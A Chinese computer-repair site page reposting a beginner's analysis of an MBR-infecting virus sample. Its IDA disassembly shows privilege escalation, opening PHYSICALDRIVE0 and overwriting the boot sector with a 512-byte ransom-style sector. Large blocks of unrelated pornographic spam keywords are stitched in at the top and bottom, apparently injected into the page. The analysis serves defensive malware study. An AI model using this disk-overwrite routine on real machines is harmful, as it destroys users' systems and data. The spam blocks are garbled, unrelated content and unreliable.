国产精品久av福利在线观看_亚洲一区国产精品_亚洲黄色一区二区三区_欧美成人xxxx_国产精品www_xxxxx欧美_国产精品久久婷婷六月丁香_国产特级毛片

錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù),錦州廣廈維修電腦,公司IT外包服務(wù)
topFlag1 設(shè)為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務(wù)項目 服務(wù)報價 維修流程 IT外包服務(wù) 服務(wù)器維護 技術(shù)文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù)技術(shù)文章
關(guān)于MBR病毒樣本分析

作者: 佚名  日期:2017-07-06 08:22:30   來源: 本站整理

1  MBR病毒樣本分析
1.1  基本信息
樣本類型:MBR感染樣本
大小:36864 字節(jié) 36KB
MD5:955b66c722ca993dd11fbe56bbf92525
殼種類:無殼
編譯器信息:VC++6.0
簡介:該樣本是一個修改MBR的病毒。
感染癥狀:感染該病毒后,剛開始并不會發(fā)現(xiàn)有什么異常情況,但是當(dāng)你重啟電腦后,你就會發(fā)現(xiàn)電腦啟動停留在一個黑色界面,

帶著惡意文字,在WIN7虛擬機中運行過后重啟系統(tǒng)的結(jié)果,感染后重啟電腦如圖4-1所示
 
                         圖4-1感染病毒效果圖
文件變化:無
注冊表變化:無
網(wǎng)絡(luò)行為:無
1.2  詳細分析
(1)首先總體看一下病毒程序布局
將病毒文件載入IDA,首先觀察IDA 的Functions window 界面,如圖4-2所示:
 
圖4-2 IDA FunctionWindow圖


因為該病毒文件是采用VC++6.0編譯的,看到main函數(shù),就試著點開看一下,雙擊main函數(shù)后,在IDA中看到如下匯編代碼,

該段介紹的是該病毒程序的主函數(shù),包含兩個子模塊:

[C++] 純文本查看 復(fù)制代碼
1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
_main proc near
push    1               ; int
push    offset aSedebugprivile ; "SeDebugPrivilege" 
call    sub_401000
add     esp, 8
jmp     sub_401090
_main endp


(2)模塊一分析
匯編語言函數(shù)是以:函數(shù)名 proc(參數(shù)列表) 這樣的格式,由此看出此函數(shù)有可能是病毒程序的主函數(shù),
push    offset aSedebugprivile; "SeDebugPrivilege";
這句匯編代碼后面提示此處壓棧的字符是“SeDebugPrivilege”,這是Windows的字符權(quán)限名稱,一般用在進程提權(quán)中使用,

然后看下面三句匯編代碼:

[Asm] 純文本查看 復(fù)制代碼
1
2
3
push    1             ; int
push    offset aSedebugprivile ; "SeDebugPrivilege" 
call    sub_4010002.


首先將兩個值壓棧,其中一個值還與進程提權(quán)有關(guān),下面一個call,指向了另一個位置,想到這里,

這個call里面的操作估計與進程提權(quán)相關(guān),在IDA中雙擊call跟進,查看call的內(nèi)容,為了直觀這里切換到IDA 的Graph view,雙擊call出現(xiàn)的內(nèi)容,如圖4-3:


 
圖4-3 IDA call  sub_401000 Graph View圖


進入這個界面,該從哪里才下手呢,剛才分析,這個call所做的操作與進程提權(quán)相關(guān),要想提升一個進程的權(quán)限,那么首先要做的第一步是得到當(dāng)前進程的句柄,查看call進來的匯編代碼發(fā)現(xiàn)一個API GetCurrentProcess,這個API是獲取當(dāng)前進程的句柄的,這就正確了,設(shè)想是正確的,就從這里下手,如下匯編代碼,主要介紹兩個進程提權(quán)的API函數(shù)GetCurrentProcess和OpenProcessToken

[Asm] 純文本查看 復(fù)制代碼
1
2
3
4
5
6
7
8
9
push    esi
push    eax            ; TokenHandle
push    28h            ; DesiredAccess
mov     esi, 1
call    ds:GetCurrentProcess
push    eax            ; ProcessHandle
call    ds:OpenProcessToken       
test    eax, eax
jnz     short loc_401028

上面匯編代碼,就是兩個函數(shù),第一個先將三個參數(shù)壓棧,調(diào)用GetCurrentProcess函數(shù)獲取當(dāng)前進程句柄,隨后將句柄返回寄存器eax(匯編語言的函數(shù)返回值默認存儲在寄存器eax中),隨后call    ds:OpenProcessToken 調(diào)用OpenProcessToken函數(shù),獲取進程令牌句柄,并將返回值保存在eax中。test    eax, eaxjnz     short loc_401028這兩條語句,先test eax,eax會改變標(biāo)志位ZF,使ZF不等于1,jnz表示標(biāo)志位ZF不等于1時,跳轉(zhuǎn),因此此處跳轉(zhuǎn)到shortloc_401028處。在圖4-3中右下角那一個模塊中,下邊看一下匯編代碼,主要功能修改進程權(quán)限
[Asm] 純文本查看 復(fù)制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
loc_401028:
mov     ecx, [esp+18h+arg_4]
mov     eax, [esp+18h+lpName]
neg     ecx
lea     edx, [esp+18h+NewState.Privileges]
mov     [esp+18h+NewState.PrivilegeCount], esi
sbb     ecx, ecx
push    edx            ; lpLuid
and     ecx, 2
push    eax            ; lpName
push    0              ; lpSystemName
mov     [esp+24h+NewState.Privileges.Attributes], ecx
call    ds:LookupPrivilegeValueA
mov     edx, [esp+18h+hObject]
push    0              ; ReturnLength
push    0              ; PreviousState
lea     ecx, [esp+20h+NewState]
push    10h            ; BufferLength
push    ecx            ; NewState
push    0              ; DisableAllPrivileges
push    edx            ; TokenHandle
call    ds:AdjustTokenPrivileges
call    ds:GetLastError
test    eax, eax

在前邊敘述中,已經(jīng)獲取當(dāng)前進程的進程令牌,根據(jù)提升進程權(quán)限的操作,下一步要做的操作就是要查詢進程的權(quán)限。簡單分析之后,看一下上邊代碼,其中兩個關(guān)鍵的call是需要注意的:call    ds:LookupPrivilegeValueA這個API函數(shù)就是查詢進程權(quán)限的,與提升進程權(quán)限的步驟完全一致,根據(jù)VC++函數(shù)壓棧的順序第一個參數(shù)到第三個參數(shù)的壓入順序就是:push    0              ; lpSystemNamepush    eax             ; lpNamepush    edx             ; lpLuid然后call,直接調(diào)用該函數(shù),這是第一個call call    ds:AdjustTokenPrivileges通過查看進程的權(quán)限,判斷進程是否可以對磁盤進行寫操作,如果沒有,則查找相關(guān)權(quán)限的LUID,賦予該進程相應(yīng)權(quán)限,具體不再贅述。
(3)模塊2分析
前面模塊一中介紹的是進程提權(quán)部分,也就是main中的第一個關(guān)鍵點call sub_401000,下面來看一下main中第二個關(guān)鍵點:
[Asm] 純文本查看 復(fù)制代碼
1
2
add     esp, 8
jmp     sub_401090

在第一個call    sub_401000這個子模塊中,一共兩個參數(shù)壓棧
[Asm] 純文本查看 復(fù)制代碼
1
2
push    1  ; int
push    offset aSedebugprivile ; "SeDebugPrivilege"

在函數(shù)結(jié)束時,需要將堆棧還原,32位的兩個參數(shù)正好8個字節(jié),因此Add esp,8,  讓棧頂指針增加8字節(jié),棧在開辟儲存空間是向下增長的。堆棧平衡以后,程序直接無條件跳轉(zhuǎn)到 sub_401090處,在IDA中直接雙擊,切換到 sub_401090處,為了看著比較直觀,先來看一下整體視圖,如圖4-4,4-5所示:
 

圖4-4 IDA sub_401090 處代碼圖


 
圖4-5 IDA檢測寫入數(shù)據(jù)圖


通過對main中第一個call模塊進行分析,病毒程序已經(jīng)提升進程權(quán)限,對于下一步,估計會對硬盤進行寫入操作。剛切換到sub_401090位置,并不知道到程序會怎么做,大致瀏覽一下代碼,會發(fā)現(xiàn)\\\\.\\PHYSICALDRIVE0字樣,這也說明不了什么,只能說明有可能是想獲取本地磁盤的信息,但是下面還有所發(fā)現(xiàn),看如下幾行代碼,主要介紹CreateFileA函數(shù)
[Asm] 純文本查看 復(fù)制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
push    0              ; hTemplateFile           參數(shù)7
rep stosd
stosw
push    0              ; dwFlagsAndAttributes    參數(shù)6
push    3              ; dwCreationDisposition   參數(shù)5
stosb
push    0              ; lpSecurityAttributes    參數(shù)4
mov     ecx, 0Ch
mov     esi, offset unk_406030
lea     edi, [esp+220h+Buffer]
push    3              ; dwShareMode             參數(shù)3
push    0C0000000h     ; dwDesiredAccess         參數(shù)2
rep movsd
push    offset FileName ; \\\\.\\PHYSICALDRIVE0   參數(shù)1
mov     [esp+22Ch+var_2], 55h
mov     [esp+22Ch+var_1], 0AAh
call    ds:CreateFileA            

調(diào)用函數(shù)55h 0AAh 這個對磁盤主引導(dǎo)區(qū)比較熟悉的應(yīng)該知道,這是磁盤主引導(dǎo)扇區(qū)(MBR)的結(jié)束表示,一般是第一扇區(qū)的511和512字節(jié)處,就像PE文件頭的標(biāo)識00004550一樣,以上匯編代碼中,其實只是實現(xiàn)了一個功能就是在磁盤下創(chuàng)建文件,從參數(shù)7到參數(shù)1是CreateFileA函數(shù)的7個參數(shù),順序也按照調(diào)用順序進行排列,具體參數(shù)就不再細說了,調(diào)用CreateFileA函數(shù)取得設(shè)備句柄(這個設(shè)備句柄后面會用到),通過對返回值進行檢測,判斷函數(shù)是否成功,成功的話進行進一步操作,如下匯編代碼:
[Asm] 純文本查看 復(fù)制代碼
1
2
3
mov     esi, eax
cmp     esi, 0FFFFFFFFh
jnz     short loc_4010F4

這里將函數(shù)的返回值儲存在esi中,也就是設(shè)備的句柄,具體有什么用處,繼續(xù)往后邊分析。一個jnz條件跳轉(zhuǎn)指明了一個方向,對于這個跳轉(zhuǎn)與否,在IDA中有兩個方向,如圖4-6所示:  
圖4-6 IDA jnz short loc_4010F4 解釋圖
如果文件創(chuàng)建成功則跳轉(zhuǎn)至loc_4010F4處,否則執(zhí)行另一塊操作,此時為了清晰地看一下程序的運行細節(jié),將病毒程序載入到OD中,如圖4-7所示,
進行分析。

 
圖4-7 OD jnz short loc_4010F4 解釋圖

載入OD后,ALT+C到CPU界面,右鍵查看所有字符串參考,跟以前的分析,直接雙擊所查找出來的\\\\.\\PHYSICALDRIVE0字符,雙擊進入如圖4-雙擊進入如圖4-7的界面,然后看到CreateFile函數(shù),在call該函數(shù)的前后下斷,下軟件斷點就可以了,然后F9,讓程序運行至第一個斷點處,如圖4-7紅色004010D4處,然后F8單步往下走(不要F7,F(xiàn)7進入函數(shù)體內(nèi)沒有其它需要的信息,這里就不截圖展示了),此時主義觀擦右上角寄存器信息,注意ESI和EAX如圖4-7右上角紅色方框處,F(xiàn)8逐步將程序運行至004010E7處,可以先看ZF標(biāo)志位(OD中以字母Z在右上角顯示),此時也可以看到圖4-7左下角出現(xiàn)"跳轉(zhuǎn)已實現(xiàn)"字樣,程序已經(jīng)跳轉(zhuǎn)至loc_4010F4處,此時留意ESI和EAX兩個寄存器,此時它們的值是44h,它代表取得設(shè)備句柄成功。其實在創(chuàng)建設(shè)備句柄之前,要寫入MBR的字符數(shù)據(jù)已經(jīng)可以在內(nèi)存中查到,如下代碼:
[C++] 純文本查看 復(fù)制代碼
1
2
3
mov     ecx, 0Ch
mov     esi, offset unk_406030
lea     edi, [esp+220h+Buffer]


觀察上邊代碼,[esp+220h+Buffer]這個地址開始的數(shù)據(jù)后來被檢測到包含MBR引導(dǎo)扇區(qū)的結(jié)束標(biāo)志55H AAH,如下代碼:
[Asm] 純文本查看 復(fù)制代碼
1
2
mov     [esp+22Ch+var_2], 55h
mov     [esp+22Ch+var_1], 0AAh

因此在內(nèi)存中轉(zhuǎn)到406030這個位置,查看數(shù)據(jù),如圖4-8所示。此時再把視線回歸到IDA中如圖4-3所示,既然程序跳轉(zhuǎn)到loc_4010F4處,下面具來分析一下loc_4010F4處的代碼,來了解病毒程序下面如何操作,上面通過CreateFile取得文件設(shè)備句柄,并將設(shè)備句柄存取到ESI中,然后進一步操作,如下代碼:
[Asm] 純文本查看 復(fù)制代碼
1
2
3
4
5
6
7
8
lea     ecx, [esp+210h+NumberOfBytesWritten]
push    0              ; lpOverlapped
push    ecx            ; lpNumberOfBytesWritten
lea     edx, [esp+218h+Buffer]
push    200h           ; nNumberOfBytesToWrite      寫入數(shù)據(jù)位512字節(jié)
push    edx            ; lpBuffer
push    esi            ; hFile
call    ds:WriteFile

調(diào)用WriteFile函數(shù),將512字節(jié)的 數(shù)據(jù)寫入hFile(即CreateFile創(chuàng)建的文件中)中,下面利用DeviceIoControl與設(shè)備進行I/O,上面已經(jīng)創(chuàng)建好的設(shè)備句柄保存在ESI中,詳細如下代碼:
[Asm] 純文本查看 復(fù)制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
lea     eax, [esp+210h+BytesReturned]    ;數(shù)據(jù)所在位置
push    0              ; lpOverlappedpush    eax             ; lpBytesReturned  驅(qū)動程序?qū)嶋H返回給應(yīng)用程序的數(shù)據(jù)字節(jié)數(shù)地址
push    0              ; nOutBufferSize
push    0              ; lpOutBuffer
push    0              ; nInBufferSize
push    0              ; lpInBuffer
push    9001Ch         ; dwIoControlCode  I/O和文件系統(tǒng)數(shù)據(jù)緩沖區(qū)進行數(shù)據(jù)傳遞的方式
push    esi            ; hDevice          設(shè)備句柄
call    edi ; DeviceIoControl   
push    esi            ; hObject
call    ds:CloseHandle[esp+210h+BytesReturned] ;表示數(shù)據(jù)所在位置,上面參數(shù)有相關(guān)解釋,通過DeviceIoControl將數(shù)據(jù)通過驅(qū)動程序?qū)懭朐O(shè)備,最后關(guān)閉設(shè)備句柄
push    esi            ; hObject
call    ds:CloseHandle



    
圖4-8 IDA 406030 處16進制數(shù)據(jù)數(shù)據(jù)查詢圖


(4)利用WinHex提取出被感染后的MBR數(shù)據(jù)
該工具里面的工具欄里面提供有打開磁盤文件擴展,可以選擇以16進制或者10進制顯示,如圖4-9是正常情況下的MBR的內(nèi)容:
 


圖4-9 WinHex打開磁盤扇區(qū)文件圖打開之后會顯示如界面,選擇物理驅(qū)動器,如圖4-10所示:
 

圖4-10 WinHex選擇操作物理驅(qū)動器圖


打開磁盤文件后,選中磁盤的第一個扇區(qū),即MBR,右鍵->復(fù)制模塊->置入新文件保存起來,如圖4-11所示:
 
4-11
WinHex
保存磁盤扇區(qū)文件圖
 
 
1.1  病毒的修復(fù)如果在分析之前對MBR有備份,這樣可以容易處理一些,有一款工具叫MBRTool,可以對MBR進行簡單的備份和恢復(fù): 

說明:因為本人在此領(lǐng)域還是新手,此次分析是在看到willJ 大大 http://www.52pojie.cn/thread-188123-1-1.html  發(fā)的一篇分析文章后決定自己嘗試一下,因為個人技術(shù)太少,剛涉足此方向,新手上路,望各位大大給予指點

1111.png (680.15 KB, 下載次數(shù): 2)

1111.png


熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯(lián)想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數(shù)和判...
  • IIS 8 開啟 GZIP壓縮來減少網(wǎng)絡(luò)請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅(qū)動時提示不包含數(shù)字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統(tǒng)快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯(lián)系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務(wù)區(qū)域: 遼寧錦州市區(qū)
    主要業(yè)務(wù): 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網(wǎng)設(shè)置,IT服務(wù)外包,局域網(wǎng)組建,ADSL共享上網(wǎng),路由器設(shè)置,數(shù)據(jù)恢復(fù),密碼破解,光盤刻錄制作等服務(wù)

    技術(shù)支持:微軟等
    精品999成人| 偷拍一区二区三区| 久久综合五月婷婷| 肉色欧美久久久久久久免费看| 国产成人香蕉在线视频网站 | 国产精品视频一区二区三区| 26uuu国产精品视频| 日韩在线视频第一页| 手机亚洲第一页| 亚洲成人影院麻豆| 欧美不卡一区二区三区四区| 最近中文字幕在线免费观看| 日韩电影在线看| 国产麻豆电影在线观看| 欧美三级理伦电影| 在线观看国产精品91| 美女把腿扒开让男人桶免费 | 中文先锋资源| 中文字幕一区二区三区在线播放| 欧美成人午夜精品免费| 久久要要av| 亚洲国产欧美日韩| 国产专区第一页| 每日更新成人在线视频| 无码人妻丰满熟妇区毛片18 | 国产综合18久久久久久| 有码av在线| 日韩精品自拍偷拍| www.国产欧美| **爰片久久毛片| 97欧美精品一区二区三区| 夜夜嗨yeyeh| 91极品美女在线| 波多野结衣视频观看| 日日夜夜精品视频| 性感美女极品91精品| www.国产成人| 国产综合色视频| 免费人成视频在线播放| 狼人精品一区二区三区在线| 快播亚洲色图| 免费大片在线观看www| 欧美成人性生活| 色啪啪.com| 色av综合在线| 精品成人av一区二区三区| 国产黄在线看| 亚洲天堂av图片| 91九色porn蝌蚪| 欧洲一区在线观看| 91九色蝌蚪91por成人| 国产成人在线免费观看| 一本色道综合久久欧美日韩精品 | 777午夜精品福利在线观看| 欧美最猛性xxxx免费| 亚洲成人在线观看视频| 中文字幕一区2区3区| 国产成人av一区二区| 中文字幕乱视频| 日韩aaaa| 无码人妻精品一区二区三区在线| 97se亚洲| 伊人久久大香线蕉成人综合网| 男人天堂视频在线观看| 国产尤物精品| 50路60路老熟妇啪啪| 精品资源在线| 日本一区二区三区四区五区六区| 欧美视频免费看| 鲁丝一区鲁丝二区鲁丝三区| 国产传媒在线| 国产视频999| 福利小视频在线观看| 久久夜色精品国产亚洲aⅴ| 66av99| 日韩亚洲欧美中文三级| 欧美色图亚洲| 欧美日韩精品福利| 日本欧美黄色| 欧美日韩另类一区| www.久色| 欧美精品在线一区二区三区| 色偷偷av男人的天堂| 91国产视频在线观看| 亚洲欧洲国产综合| 在线观看日韩国产| 成人毛片视频免费看| 欧美日韩国产在线| 国产小视频免费观看| 精品日韩中文字幕| 天堂成人在线视频| 欧美视频第一页| 亚洲av片一区二区三区| 黄色一区二区三区| 亚洲色欧美另类| 欧美日韩成人激情| 国产精品久久久久久久泡妞| 精品电影一区二区| 国产人成高清视频观看| 精品久久久久久无| 青春草在线观看视频| 精品国产免费视频| eeuss影院www影院入口| 国产精品一级在线| 图片区偷拍区小说区| 亚洲手机在线| 欧美日韩国产高清一区二区三区| 天天干在线观看| 欧美私模裸体表演在线观看| 国产馆手机在线观看| 91精品国产91热久久久做人人| 乱小说欧美综合| 亚洲黄色有码视频| 春意影院在线| 久久亚洲精品国产亚洲老地址| 日本黄在线观看| 国产精品一区二区三区成人| 黄色污污视频在线观看| 国产精品日韩一区二区三区 | 91福利社在线观看| 国产欧美日韩第一页| 精品美女在线观看| 99re99| 99久久国产综合色|国产精品| 亚洲国产精品第一页| 九九精品视频在线看| 天海翼在线视频| 久久久久久久久99精品| 中文字幕网址在线| 色综合久久久久久久久| 亚州欧美精品suv| 精品福利在线导航| 在线久久视频| 国产精品96久久久久久| 国产探花视频在线观看| 久久久久天天天天| www.久久久.com| 成熟了的熟妇毛茸茸| 国产一区二区三区自拍| 久久久久中文字幕亚洲精品| 欧美日韩精品| jizz日本在线播放| 欧美国产精品一区二区| 天天爱天天干天天操| 欧美久久久久久久久中文字幕| 美女黄色在线网站大全| 国产三级精品三级在线观看国产| 国产真实乱子伦| 亚洲欧洲中文字幕| 黄色三级生活片| 国产偷国产偷精品高清尤物| 国产小视频免费观看| 日韩av影视综合网| 在线观看免费网站| 97超级碰碰| 国产精品777777在线播放| 无码人妻h动漫| 日本少妇一区二区| 日韩经典在线观看| 色婷婷激情久久| 成人图片小说| 国产欧美精品日韩精品| 日韩欧美久久| 极品粉嫩美女露脸啪啪| 国产99一区视频免费| wwwwww国产| 在线亚洲+欧美+日本专区| 狠狠干夜夜草| 性欧美xxxx交| 伊伊综合在线| 日韩有码免费视频| 激情综合色丁香一区二区| 亚洲一区二区色| 欧美美女视频在线观看| 中文字幕毛片| 国产精品日韩欧美一区二区| 精品一区二区三区在线 | 国内精品美女在线观看| 日本a级片视频| 久久国产麻豆精品| 欧洲av无码放荡人妇网站| 妖精视频成人观看www| 手机在线免费看片| 五月综合激情日本mⅴ| 人与牲动交xxxxbbbb高清| 欧洲亚洲女同hd| av亚洲一区二区三区| 国产精品www在线观看| 久久久水蜜桃av免费网站| 国产精品sm调教免费专区| 欧美一区二区福利视频| 在线中文字幕视频| 亚洲自拍在线观看| 精品久久美女| 天天操天天摸天天舔| 日韩欧美一区二区在线| av超碰在线| 欧美黄色直播| 欧美色图首页| 亚洲精品男人的天堂|